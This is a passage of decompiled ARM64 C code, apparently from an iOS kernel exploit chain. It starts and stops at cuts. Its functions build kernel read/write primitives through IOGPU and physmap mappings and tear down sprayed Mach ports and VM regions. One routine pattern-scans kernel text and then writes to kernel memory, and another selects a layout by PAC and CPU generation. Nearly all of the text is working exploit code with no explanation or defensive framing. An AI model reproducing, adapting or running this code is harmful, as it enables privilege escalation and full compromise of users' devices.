      if ( *(uint64_t *)&v8[v13 + 16] == v9 && *(uint64_t *)&v8[v13 + 24] == -1 )
      {
        *a4 = v12 + v13;
        goto LABEL_12;
      }
      v14 = v13 >> 3;
      v13 += 8LL;
    }
    while ( v14 < 0x7E3 );
    v15 = v11 >> 14;
    v11 += 0x4000LL;
    v12 += 0x4000;
    if ( v15 < 0xFFF )
      continue;
    break;
  }
LABEL_12:
  free(v8);
}
// 9008: variable 'vars8' is possibly undefined

//----- (0000000000009018) ----------------------------------------------------
void *__fastcall setup_physmap_copy_structure(uint64_t *a1)
{
  __int16 v2; // w1
  __int64 v3; // x1
  unsigned __int64 v4; // x0
  unsigned __int64 v5; // x0
  void *result; // x0
  __int64 v7; // [xsp+0h] [xbp-200h] BYREF
  __int64 v8; // [xsp+8h] [xbp-1F8h] BYREF
  unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF
  unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF
  __int128 v11[4]; // [xsp+20h] [xbp-1E0h] BYREF
  __int128 v12; // [xsp+60h] [xbp-1A0h]
  __int128 v13; // [xsp+70h] [xbp-190h]
  __int128 v14; // [xsp+80h] [xbp-180h]
  __int128 v15; // [xsp+90h] [xbp-170h]
  __int128 v16; // [xsp+A0h] [xbp-160h]
  __int128 v17; // [xsp+B0h] [xbp-150h]
  __int128 v18; // [xsp+C0h] [xbp-140h]
  __int128 v19; // [xsp+D0h] [xbp-130h]
  __int128 v20; // [xsp+E0h] [xbp-120h]
  __int128 v21; // [xsp+F0h] [xbp-110h]
  __int128 v22[4]; // [xsp+100h] [xbp-100h] BYREF
  __int128 v23; // [xsp+140h] [xbp-C0h]
  __int128 v24; // [xsp+150h] [xbp-B0h]
  __int128 v25; // [xsp+160h] [xbp-A0h]
  __int128 v26; // [xsp+170h] [xbp-90h]
  __int128 v27; // [xsp+180h] [xbp-80h]
  __int128 v28; // [xsp+190h] [xbp-70h]
  __int128 v29; // [xsp+1A0h] [xbp-60h]
  __int128 v30; // [xsp+1B0h] [xbp-50h]
  __int128 v31; // [xsp+1C0h] [xbp-40h]
  __int128 v32; // [xsp+1D0h] [xbp-30h]
  unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF
  int v34; // [xsp+1ECh] [xbp-14h] BYREF

  v34 = 0;
  physmap_read_dword(a1, a1[181], &v34);
  v33 = 0;
  scan_physmap_addr_range(a1, a1[180], v34, &v33);
  v31 = 0u;
  v32 = 0u;
  v29 = 0u;
  v30 = 0u;
  v27 = 0u;
  v28 = 0u;
  v25 = 0u;
  v26 = 0u;
  v23 = 0u;
  v24 = 0u;
  memset(v22, 0, sizeof(v22));
  physmap_read_aligned(a1, v33, v22, 0xE0u);
  v2 = v23;
  a1[164] = *((uint64_t *)&v22[0] + 1);
  a1[165] = a1[182];
  v20 = 0u;
  v21 = 0u;
  v18 = 0u;
  v19 = 0u;
  v16 = 0u;
  v17 = 0u;
  v14 = 0u;
  v15 = 0u;
  v12 = 0u;
  v13 = 0u;
  memset(v11, 0, sizeof(v11));
  iogpu_kread_loop(a1, v2, (char *)v11, 0xE0u);
  v3 = *((uint64_t *)&v12 + 1);
  a1[166] = *((uint64_t *)&v12 + 1);
  v9 = 0;
  v10 = 0;
  scan_physmap_overlap(a1, v3, &v10, &v9);
  v8 = 0;
  v4 = build_physmap_page_table(a1, v10);
  physmap_read_aligned(a1, v4, &v8, 8u);
  a1[167] = v8;
  v7 = 0;
  v5 = build_physmap_page_table(a1, v9);
  result = physmap_read_aligned(a1, v5, &v7, 8u);
  a1[168] = v7;
  return result;
}

//----- (0000000000009150) ----------------------------------------------------
__int64 __fastcall reset_physmap_copy_area(__int64 a1)
{
  vm_size_t v2; // x2
  __int64 result; // x0
  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF

  vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 1080), *(uint64_t *)(a1 + 1096));
  *(uint64_t *)(a1 + 1080) = 0;
  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), *(uint64_t *)(a1 + 1088));
  v2 = *(uint64_t *)(a1 + 1096);
  address = *(uint64_t *)(a1 + 1088);
  vm_allocate(mach_task_self_, &address, v2, 0x4000);
  **(uint8_t **)(a1 + 1088) = 65;
  result = vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 1088), *(uint64_t *)(a1 + 1096));
  *(uint64_t *)(a1 + 1088) = 0;
  return result;
}

//----- (00000000000091E0) ----------------------------------------------------
__int64 __fastcall dealloc_krw_port_array(__int64 result, __int64 a2)
{
  __int64 v3; // x20
  unsigned __int64 v4; // x21
  __int64 v5; // x22

  v3 = result;
  v4 = 0;
  v5 = a2 + 20;
  do
  {
    if ( v4 < *(uint64_t *)(a2 + 32) )
    {
      (*(void (__fastcall **)(uint64_t, uint64_t))(v3 + 1472))(*(uint64_t *)(v3 + 1488), *(unsigned int *)(v5 + 4 * v4));
      result = mach_port_deallocate(mach_task_self_, *(uint32_t *)(v5 + 4 * v4));
      *(uint32_t *)(v5 + 4 * v4) = 0;
    }
    ++v4;
  }
  while ( v4 != 3 );
  return result;
}

//----- (000000000000925C) ----------------------------------------------------
void __fastcall cleanup_physmap_copy_entries(__int64 a1)
{
  __int64 v2; // x22
  __int64 v3; // x25
  __int64 v4; // x23
  uint64_t *v5; // x20
  __int64 v6; // x27
  char v7; // w8
  char v8; // w21
  vm_address_t *v9; // x20
  uint64_t v11[2]; // [xsp+8h] [xbp-68h]

  v2 = 0;
  v3 = a1 + 1128;
  v4 = a1 + 1168;
  v11[0] = a1 + 1128;
  v11[1] = a1 + 1168;
  while ( 1 )
  {
    while ( 1 )
    {
      v5 = *(uint64_t **)(v3 + 24);
      if ( !v5 )
        break;
      *(uint64_t *)(v3 + 24) = *v5;
      (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), v5[3]);
      vm_deallocate(mach_task_self_, v5[3], 0x4000u);
      v5[3] = 0;
      dealloc_krw_port_array(a1, (__int64)(v5 + 2));
      free(v5);
    }
    v6 = 0;
    v7 = 1;
    do
    {
      v8 = v7;
      v9 = *(vm_address_t **)(v3 + 8 * v6);
      dealloc_krw_port_array(a1, (__int64)(v9 + 2));
      if ( v6 != *(uint64_t *)(v3 + 16) || v3 == v4 )
      {
        (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), v9[7]);
        vm_deallocate(mach_task_self_, v9[7], 0xC000u);
      }
      free(v9);
      v7 = 0;
      v6 = 1;
    }
    while ( (v8 & 1) != 0 );
    if ( ++v2 == 2 )
      break;
    v3 = v11[v2];
  }
}

//----- (00000000000093B0) ----------------------------------------------------
__int64 __fastcall dealloc_physmap_copy_slot(__int64 a1, __int64 a2)
{
  __int64 result; // x0

  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), *(uint64_t *)(a2 + 24));
  vm_deallocate(mach_task_self_, *(uint64_t *)(a2 + 24), 0x4000u);
  *(uint64_t *)(a2 + 24) = 0;
  result = vm_deallocate(mach_task_self_, *(uint64_t *)(a2 + 136), 0x18000u);
  *(uint64_t *)(a2 + 136) = 0;
  return result;
}

//----- (0000000000009410) ----------------------------------------------------
__int64 __fastcall dealloc_physmap_2page_slot(__int64 a1, vm_address_t *a2)
{
  __int64 result; // x0

  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[3]);
  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[8]);
  vm_deallocate(mach_task_self_, a2[3], 0x4000u);
  a2[3] = 0;
  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
  a2[8] = 0;
  vm_deallocate(mach_task_self_, a2[17], 0x18000u);
  a2[17] = 0;
  result = vm_deallocate(mach_task_self_, a2[18], 0x14000u);
  a2[18] = 0;
  return result;
}

//----- (00000000000094B0) ----------------------------------------------------
__int64 __fastcall dealloc_physmap_3page_slot(__int64 a1, vm_address_t *a2)
{
  __int64 result; // x0

  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[3]);
  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[8]);
  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[13]);
  vm_deallocate(mach_task_self_, a2[3], 0x4000u);
  a2[3] = 0;
  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
  a2[8] = 0;
  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
  a2[13] = 0;
  vm_deallocate(mach_task_self_, a2[17], 0x18000u);
  a2[17] = 0;
  vm_deallocate(mach_task_self_, a2[18], 0x14000u);
  a2[18] = 0;
  result = vm_deallocate(mach_task_self_, a2[19], 0x10000u);
  a2[19] = 0;
  return result;
}

//----- (0000000000009588) ----------------------------------------------------
__int64 __fastcall dealloc_iogpu_physmap_2(__int64 a1, uint64_t *a2)
{
  __int64 v4; // x20
  __int64 v5; // x21
  __int64 result; // x0
  __int128 v7[16]; // [xsp+0h] [xbp-130h] BYREF

  v4 = *(uint64_t *)(a1 + 1488);
  (*(void (__fastcall **)(__int64, uint64_t))(a1 + 1464))(v4, a2[8]);
  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[13]);
  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
  a2[8] = 0;
  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
  a2[13] = 0;
  v5 = a2[7] - *(uint64_t *)(a1 + 1344);
  memset(v7, 0, sizeof(v7));
  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v5, v7, 256, 1);
  *((uint64_t *)&v7[4] + 1) = 0;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v5 + 72, (char *)&v7[4] + 8, 8, 1);
  vm_deallocate(mach_task_self_, a2[20], 0x10000u);
  a2[20] = 0;
  vm_deallocate(mach_task_self_, a2[21], 0x10000u);
  a2[21] = 0;
  vm_deallocate(mach_task_self_, a2[22], 0x10000u);
  a2[22] = 0;
  result = vm_deallocate(mach_task_self_, a2[23], 0x10000u);
  a2[23] = 0;
  return result;
}

//----- (00000000000096D8) ----------------------------------------------------
__int64 __fastcall dealloc_iogpu_physmap_entry(__int64 a1, uint64_t *a2)
{
  __int64 v4; // x20
  __int64 v5; // x9
  __int64 v6; // x22
  __int64 v7; // x21
  __int64 result; // x0
  __int128 v9[16]; // [xsp+0h] [xbp-240h] BYREF
  __int128 v10[16]; // [xsp+100h] [xbp-140h] BYREF

  v4 = *(uint64_t *)(a1 + 1488);
  (*(void (__fastcall **)(__int64, uint64_t))(a1 + 1464))(v4, a2[13]);
  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
  a2[13] = 0;
  v5 = *(uint64_t *)(a1 + 1344);
  v6 = a2[2] - v5;
  v7 = a2[12] - v5;
  memset(v10, 0, sizeof(v10));
  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v6, v10, 256, 1);
  DWORD2(v10[2]) = 3;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v6 + 40, (char *)&v10[2] + 8, 4, 1);
  memset(v9, 0, sizeof(v9));
  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v7, v9, 256, 1);
  *((uint64_t *)&v9[4] + 1) = 0;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v7 + 72, (char *)&v9[4] + 8, 8, 1);
  vm_deallocate(mach_task_self_, a2[20], 0x4000u);
  a2[20] = 0;
  vm_deallocate(mach_task_self_, a2[21], 0x10000u);
  a2[21] = 0;
  vm_deallocate(mach_task_self_, a2[22], 0x10000u);
  a2[22] = 0;
  vm_deallocate(mach_task_self_, a2[23], 0x10000u);
  a2[23] = 0;
  vm_deallocate(mach_task_self_, a2[24], 0x10000u);
  a2[24] = 0;
  result = vm_deallocate(mach_task_self_, a2[25], 0x10000u);
  a2[25] = 0;
  return result;
}

//----- (00000000000098A4) ----------------------------------------------------
__int64 __fastcall dealloc_iogpu_physmap_triple(__int64 a1, uint64_t *a2)
{
  __int64 v3; // x20
  __int64 v4; // x9
  __int64 v5; // x23
  __int64 v6; // x22
  __int64 v7; // x21
  __int64 result; // x0
  __int128 v9[16]; // [xsp+0h] [xbp-340h] BYREF
  __int128 v10[16]; // [xsp+100h] [xbp-240h] BYREF
  __int128 v11[16]; // [xsp+200h] [xbp-140h] BYREF

  v3 = *(uint64_t *)(a1 + 1488);
  v4 = *(uint64_t *)(a1 + 1344);
  v5 = a2[2] - v4;
  v6 = a2[7] - v4;
  v7 = a2[12] - v4;
  memset(v11, 0, sizeof(v11));
  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v5, v11, 256, 1);
  *((uint64_t *)&v11[4] + 1) = 0;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v5 + 72, (char *)&v11[4] + 8, 8, 1);
  memset(v10, 0, sizeof(v10));
  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v6, v10, 256, 1);
  *((uint64_t *)&v10[4] + 1) = 0;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v6 + 72, (char *)&v10[4] + 8, 8, 1);
  memset(v9, 0, sizeof(v9));
  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v7, v9, 256, 1);
  *((uint64_t *)&v9[4] + 1) = 0;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 72, (char *)&v9[4] + 8, 8, 1);
  *((uint64_t *)&v9[3] + 1) = 0;
  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 56, (char *)&v9[3] + 8, 8, 1);
  vm_deallocate(mach_task_self_, a2[20], 0x4000u);
  a2[20] = 0;
  vm_deallocate(mach_task_self_, a2[26], 0x10000u);
  a2[26] = 0;
  vm_deallocate(mach_task_self_, a2[27], 0x10000u);
  a2[27] = 0;
  vm_deallocate(mach_task_self_, a2[28], 0x10000u);
  a2[28] = 0;
  result = vm_deallocate(mach_task_self_, a2[29], 0x10000u);
  a2[29] = 0;
  return result;
}

//----- (0000000000009AC0) ----------------------------------------------------
void __fastcall cleanup_physmap_context(__int64 a1)
{
  __int64 v2; // x24
  __int64 v3; // x20
  vm_address_t **v4; // x27
  vm_address_t *v5; // x21
  vm_address_t *v6; // x26
  uint64_t *v7; // x25
  __int64 v8; // x9
  __int64 v9; // x23
  uint64_t *v10; // x28
  __int64 v11; // x22
  __int64 v12; // x21
  __int64 v13; // x1
  __int64 v14; // x21
  vm_address_t *v15; // x21
  __int64 v16; // [xsp+28h] [xbp-488h]
  __int64 v17; // [xsp+30h] [xbp-480h]
  uint64_t *v18; // [xsp+38h] [xbp-478h]
  __int128 v19[16]; // [xsp+40h] [xbp-470h] BYREF
  __int128 v20[16]; // [xsp+140h] [xbp-370h] BYREF
  __int128 v21[16]; // [xsp+240h] [xbp-270h] BYREF
  __int128 v22[16]; // [xsp+340h] [xbp-170h] BYREF
  uint64_t v23[2]; // [xsp+440h] [xbp-70h]

  v2 = 0;
  v3 = *(uint64_t *)(a1 + 1488);
  v4 = (vm_address_t **)(a1 + 1208);
  v23[0] = a1 + 1208;
  v23[1] = a1 + 1240;
  v16 = a1 + 1240;
  v17 = a1 + 1208;
  while ( 1 )
  {
    while ( 1 )
    {
      v5 = v4[1];
      if ( !v5 )
        break;
      v4[1] = (vm_address_t *)*v5;
      switch ( v5[1] )
      {
        case 1uLL:
          dealloc_physmap_copy_slot(a1, (__int64)v5);
          break;
        case 2uLL:
          dealloc_physmap_2page_slot(a1, v5);
          break;
        case 3uLL:
          dealloc_physmap_3page_slot(a1, v5);
          break;
        case 4uLL:
          dealloc_iogpu_physmap_2(a1, v5);
          break;
        case 5uLL:
          dealloc_iogpu_physmap_entry(a1, v5);
          break;
        case 6uLL:
          dealloc_iogpu_physmap_triple(a1, v5);
          break;
        default:
          break;
      }
      dealloc_krw_port_array(a1, (__int64)(v5 + 2));
      dealloc_krw_port_array(a1, (__int64)(v5 + 7));
      dealloc_krw_port_array(a1, (__int64)(v5 + 12));
      free(v5);
    }
    v6 = *v4;
    v7 = *v4 + 2;
    v8 = *(uint64_t *)(a1 + 1344);
    v9 = *v7 - v8;
    v10 = *v4 + 7;
    v11 = *v10 - v8;
    v18 = *v4 + 12;
    v12 = *v18 - v8;
    memset(v22, 0, sizeof(v22));
    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v9, v22, 256, 1);
    *((uint64_t *)&v22[4] + 1) = 0;
    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
      v3,
      v9 + 72,
      (char *)&v22[4] + 8,
      8,
      1);
    memset(v21, 0, sizeof(v21));
    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v11, v21, 256, 1);
    *((uint64_t *)&v21[4] + 1) = 0;
    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
      v3,
      v11 + 72,
      (char *)&v21[4] + 8,
      8,
      1);
    memset(v20, 0, sizeof(v20));
    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v12, v20, 256, 1);
    *((uint64_t *)&v20[4] + 1) = 0;
    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
      v3,
      v12 + 72,
      (char *)&v20[4] + 8,
      8,
      1);
    *((uint64_t *)&v20[3] + 1) = 0;
    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
      v3,
      v12 + 56,
      (char *)&v20[3] + 8,
      8,
      1);
    if ( v4 == (vm_address_t **)v16 )
    {
      v14 = query_vm_region_nesting(v6[26]).object_id - *(uint64_t *)(a1 + 1344);
      memset(v19, 0, sizeof(v19));
      (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v14, v19, 256, 1);
      DWORD2(v19[2]) = 2;
      (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
        v3,
        v14 + 40,
        (char *)&v19[2] + 8,
        4,
        1);
    }
    vm_deallocate(mach_task_self_, v6[28], 0x10000u);
    v6[28] = 0;
    vm_deallocate(mach_task_self_, v6[29], 0x10000u);
    v6[29] = 0;
    if ( v4 == (vm_address_t **)v17 )
    {
      vm_deallocate(mach_task_self_, v6[26], 0x10000u);
      v6[26] = 0;
      vm_deallocate(mach_task_self_, v6[27], 0x10000u);
      v6[27] = 0;
      vm_deallocate(mach_task_self_, v6[30], 0xC000u);
      v6[30] = 0;
      v15 = v6 + 31;
    }
    else
    {
      vm_deallocate(mach_task_self_, v6[26], 0xC000u);
      v6[26] = 0;
      v15 = v6 + 27;
    }
    vm_deallocate(mach_task_self_, *v15, 0xC000u);
    *v15 = 0;
    dealloc_krw_port_array(a1, (__int64)v7);
    dealloc_krw_port_array(a1, (__int64)v10);
    dealloc_krw_port_array(a1, (__int64)v18);
    free(v6);
    if ( ++v2 == 2 )
      break;
    v4 = (vm_address_t **)v23[v2];
  }
}
// 9D9C: variable 'v13' is possibly undefined

//----- (0000000000009F4C) ----------------------------------------------------
__int64 __fastcall free_vm_page_array_list(__int64 a1)
{
  uint64_t *v2; // x0
  __int64 (__fastcall *v3)(__int64, __int64); // x2
  __int64 v4; // x0
  __int64 v5; // x1
  __int64 vars8; // [xsp+18h] [xbp+8h]

  v2 = *(uint64_t **)a1;
  if ( v2 )
  {
    do
    {
      *(uint64_t *)a1 = *v2;
      deallocate_physmap_pages((__int64)v2);
      v2 = *(uint64_t **)a1;
    }
    while ( *(uint64_t *)a1 );
  }
  vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 32), (*(uint64_t *)(a1 + 1432) << 14) + 49152LL);
  *(uint64_t *)(a1 + 32) = 0;
  reset_physmap_copy_area(a1);
  cleanup_physmap_copy_entries(a1);
  cleanup_physmap_context(a1);
  atomic_load((unsigned __int8 *)(a1 + 1280));
  atomic_load((unsigned __int8 *)(a1 + 1296));
  v3 = *(__int64 (__fastcall **)(__int64, __int64))(a1 + 1480);
  v4 = *(uint64_t *)(a1 + 1488);
  v5 = *(uint64_t *)(a1 + 1360);
  return v3(v4, v5);
}
// 9FE0: variable 'vars8' is possibly undefined

//----- (0000000000009FF0) ----------------------------------------------------
void __fastcall teardown_iogpu_vm_copy(vm_address_t *a1)
{
  __int64 vars8; // [xsp+18h] [xbp+8h]

  a1[176] = 0;
  vm_deallocate(mach_task_self_, a1[169], 0xC000u);
  a1[169] = 0;
  vm_deallocate(mach_task_self_, a1[170], 0xC000u);
  a1[170] = 0;
  vm_deallocate(mach_task_self_, a1[172], 0xC000u);
  a1[172] = 0;
  vm_deallocate(mach_task_self_, a1[173], 0xC000u);
  a1[173] = 0;
  vm_deallocate(mach_task_self_, a1[175], 0xC000u);
  a1[175] = 0;
  bzero(a1, 0x5E8u);
  free(a1);
}
// A090: variable 'vars8' is possibly undefined

//----- (000000000000A0A0) ----------------------------------------------------
__int64 __fastcall necp_send_msg_1(struct_krwCtx *a1)
{
  __int64 v2; // x20
  __int64 v3; // x0
  unsigned __int64 v4; // x0
  unsigned __int64 v5; // x21
  unsigned __int64 v6; // x22
  unsigned __int64 v7; // x22
  __int64 v8; // x0
  __int64 *v9; // x0
  __int64 v10; // x24
  unsigned __int64 v11; // x25
  __int64 v12; // x23
  __int64 v13; // x21
  uint64_t v15[3]; // [xsp+0h] [xbp-A0h] BYREF
  uint64_t v16[3]; // [xsp+18h] [xbp-88h] BYREF
  int v17; // [xsp+34h] [xbp-6Ch] BYREF
  unsigned __int64 v18; // [xsp+38h] [xbp-68h] BYREF
  int v19; // [xsp+40h] [xbp-60h] BYREF
  int v20; // [xsp+44h] [xbp-5Ch] BYREF
  __int64 v21; // [xsp+48h] [xbp-58h] BYREF
  __int64 v22; // [xsp+50h] [xbp-50h] BYREF
  __int64 v23; // [xsp+58h] [xbp-48h] BYREF

  v2 = 708625;
  v23 = 0;
  v21 = 0;
  v22 = 0;
  macho_find_text_section(a1->gap1921[2], v16);
  v3 = kernel_pattern_scan((__int64)v16, "08 3D 40 92 09 18 80 52", 0);
  if ( !v3 )
    return v2;
  v4 = find_kernel_func_aligned((__int64 *)a1->gap1921[2], v3 + 8);
  if ( !v4 )
    return v2;
  v5 = v4;
  v6 = v4 + 7104;
  if ( !kread_physmap_decorated(a1, v4 + 7104, (unsigned __int64 *)&v22) )
    return 163855;
  if ( v6 != v22 )
    return 163878;
  if ( !kread_physmap_decorated(a1, v5 + 7120, (unsigned __int64 *)&v23) )
    return 163855;
  if ( (unsigned __int64)(v23 + 0x1000000000000LL) > 0xFFFFFFFFEFFELL )
    return 163878;
  if ( !(unsigned int)krw_read_thunk(a1, v23, 4, &v19) )
    return 163855;
  if ( v19 != 1864396150 )
    return 163857;
  v7 = v5 + 7168;
  if ( !kread_physmap_decorated(a1, v5 + 7168, (unsigned __int64 *)&v21) )
    return 163855;
  if ( validate_kaddr_range((__int64)a1, v21) )
    return 0;
  macho_find_text_section(a1->gap1921[2], v15);
  v8 = kernel_pattern_scan((__int64)v15, "1F 01 0A EB 41 00 00 54 C0 03 5F D6 .. .. .. F9", 0);
  if ( v8 )
  {
    v9 = (__int64 *)find_kernel_func((__int64 *)a1->gap1921[2], (__int64 *)(v8 - 8));
    if ( v9 )
    {
      v10 = (__int64)v9;
      v11 = macho_read_u64((__int64 *)a1->gap1921[2], v9);
      v12 = v5 + 7272;
      if ( (unsigned int)krw_read_thunk(a1, v5 + 7272, 4, &v20) )
      {
        if ( v20 )
        {
          v17 = 2 * v20;
          v13 = v5 + 7176;
          v2 = 163856;
          if ( (unsigned int)kwrite_with_retry((__int64)a1, v13, (__int64)&v17, 4) )
          {
            v18 = v11 + 52428;
            if ( (unsigned int)kwrite_with_retry((__int64)a1, v10, (__int64)&v18, 4) )
            {
              semaphore_timedwait_ns((__int64)a1, 0x1312D0u);
              v2 = 163855;
              if ( kread_physmap_decorated(a1, v7, (unsigned __int64 *)&v21) )
              {
                if ( validate_kaddr_range((__int64)a1, v21)
                  || (v17 = 0, (unsigned int)kwrite_with_retry((__int64)a1, v13, (__int64)&v17, 4)) )
                {
                  if ( (unsigned int)krw_read_thunk(a1, v12, 4, &v20) )
                    return 0;
                  else
                    return 163855;
                }
                else
                {
                  return 163856;
                }
              }
            }
          }
          return v2;
        }
        return 163857;
      }
      return 163855;
    }
  }
  return v2;
}
// A0A0: too many cbuild loops

//----- (000000000000A354) ----------------------------------------------------
__int64 __fastcall iogpu_kread(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5)
{
  uint64_t *v5; // x21
  __int64 result; // x0
  int v10; // [xsp+Ch] [xbp-24h] BYREF

  v10 = -1;
  v5 = *(uint64_t **)(a1 + 80);
  if ( !v5 )
    return 708609;
  if ( a5 )
  {
    result = fd_open_dev_null(&v10);
    if ( (uint32_t)result )
      return result;
    iogpu_kread_loop(v5, a2, a3, a4);
    fd_close(v10);
  }
  else
  {
    iogpu_kread_loop(*(uint64_t **)(a1 + 80), a2, a3, a4);
  }
  return 0;
}

//----- (000000000000A3F0) ----------------------------------------------------
__int64 __fastcall iogpu_kwrite(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5)
{
  uint64_t *v5; // x21
  __int64 result; // x0
  int v10; // [xsp+Ch] [xbp-24h] BYREF

  v10 = -1;
  v5 = *(uint64_t **)(a1 + 80);
  if ( !v5 )
    return 708609;
  if ( a5 )
  {
    result = fd_open_dev_null(&v10);
    if ( (uint32_t)result )
      return result;
    iogpu_kwrite_loop(v5, a3, a2, a4);
    fd_close(v10);
  }
  else
  {
    iogpu_kwrite_loop(*(uint64_t **)(a1 + 80), a3, a2, a4);
  }
  return 0;
}

//----- (000000000000A48C) ----------------------------------------------------
__int64 __fastcall iogpu_kread2(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5)
{
  __int64 result; // x0
  uint64_t *v7; // x21
  size_t v10; // x22
  int v11; // [xsp+Ch] [xbp-24h] BYREF

  result = 708609;
  v11 = -1;
  v7 = *(uint64_t **)(a1 + 80);
  if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size )
  {
    v10 = a4;
    if ( a5 )
    {
      result = fd_open_dev_null(&v11);
      if ( (uint32_t)result )
        return result;
      physmap_read_aligned(v7, a2, a3, v10);
      fd_close(v11);
    }
    else
    {
      physmap_read_aligned(v7, a2, a3, a4);
    }
    return 0;
  }
  return result;
}

//----- (000000000000A550) ----------------------------------------------------
__int64 __fastcall iogpu_kwrite2(__int64 a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5)
{
  __int64 result; // x0
  uint64_t *v7; // x21
  size_t v10; // x22
  int v11; // [xsp+Ch] [xbp-24h] BYREF

  result = 708609;
  v11 = -1;
  v7 = *(uint64_t **)(a1 + 80);
  if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size )
  {
    v10 = a4;
    if ( a5 )
    {
      result = fd_open_dev_null(&v11);
      if ( (uint32_t)result )
        return result;
      physmap_write_aligned(v7, a3, a2, v10);
      fd_close(v11);
    }
    else
    {
      physmap_write_aligned(v7, a3, a2, a4);
    }
    return 0;
  }
  return result;
}

//----- (000000000000A614) ----------------------------------------------------
__int64 __fastcall setup_kernel_region_via_flags(__int64 a1)
{
  __int64 v2; // x21
  int v3; // w8
  __int128 v4; // q0
  uint64_t *v5; // x0
  uint64_t *v6; // x20
  uint64_t *v7; // x21
  __int128 v8; // q0
  __int128 v10; // [xsp+0h] [xbp-40h]
  __int128 v11; // [xsp+10h] [xbp-30h]

  v2 = 708616;
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
    return v2;
  v3 = *(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK;
  if ( v3 == 0x100000 )
  {
    v10 = xmmword_42D80;
    v11 = xmmword_42D90;
  }
  else
  {
    if ( v3 == 0x4000000 )
    {
      v11 = xmmword_42D70;
      v4 = xmmword_42D60;
    }
    else
    {
      if ( v3 != 0x1000000 )
        return v2;
      v11 = xmmword_42D70;
      v4 = xmmword_42DA0;
    }
    v10 = v4;
  }
  v5 = calloc(1u, 0x5E8u);
  if ( !v5 )
    return 708617;
  v6 = v5;
  if ( _os_alloc_once_table[162] == -1 )
    v7 = (uint64_t *)_os_alloc_once_table[163];
  else
    v7 = (uint64_t *)_os_alloc_once(&_os_alloc_once_table[162], 0x10u, 0);
  if ( *v7 )
    v6[2] = *v7;
  *(__int128 *)(v6 + 179) = v11;
  *(__int128 *)(v6 + 181) = v10;
  if ( (uint64_t)v11 == 16 )
  {
    v8 = xmmword_42D40;
    goto LABEL_19;
  }
  if ( (uint64_t)v11 == 64 )
  {
    v8 = xmmword_42D50;
LABEL_19:
    *(__int128 *)(v6 + 187) = v8;
  }
  setup_thread_policy();
  physmap_vmregion_init(v6);
  dequeue_multiple_physmap_entries(v6);
  run_physmap_setup_sequence(v6);
  validate_physmap_range_3(v6);
  setup_physmap_copy_structure(v6);
